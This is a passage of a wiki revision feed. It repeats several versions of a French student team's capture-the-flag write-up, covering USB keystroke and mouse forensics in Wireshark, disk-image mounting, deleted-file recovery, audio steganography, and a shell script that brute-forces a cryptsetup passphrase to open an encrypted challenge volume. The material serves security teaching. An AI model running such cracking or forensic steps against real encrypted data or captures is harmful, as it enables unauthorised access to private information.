 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58316</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58316"/>
				<updated>2022-01-20T12:55:45Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Déjà vu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
&lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58314</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58314"/>
				<updated>2022-01-20T12:55:29Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Déjà vu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58269</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58269"/>
				<updated>2022-01-20T11:23:40Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Filsss fait un sssssomme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58245</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58245"/>
				<updated>2022-01-20T09:30:08Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Encore une image en musique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58241</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58241"/>
				<updated>2022-01-20T09:10:00Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Déchiffrer le manuscrit */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
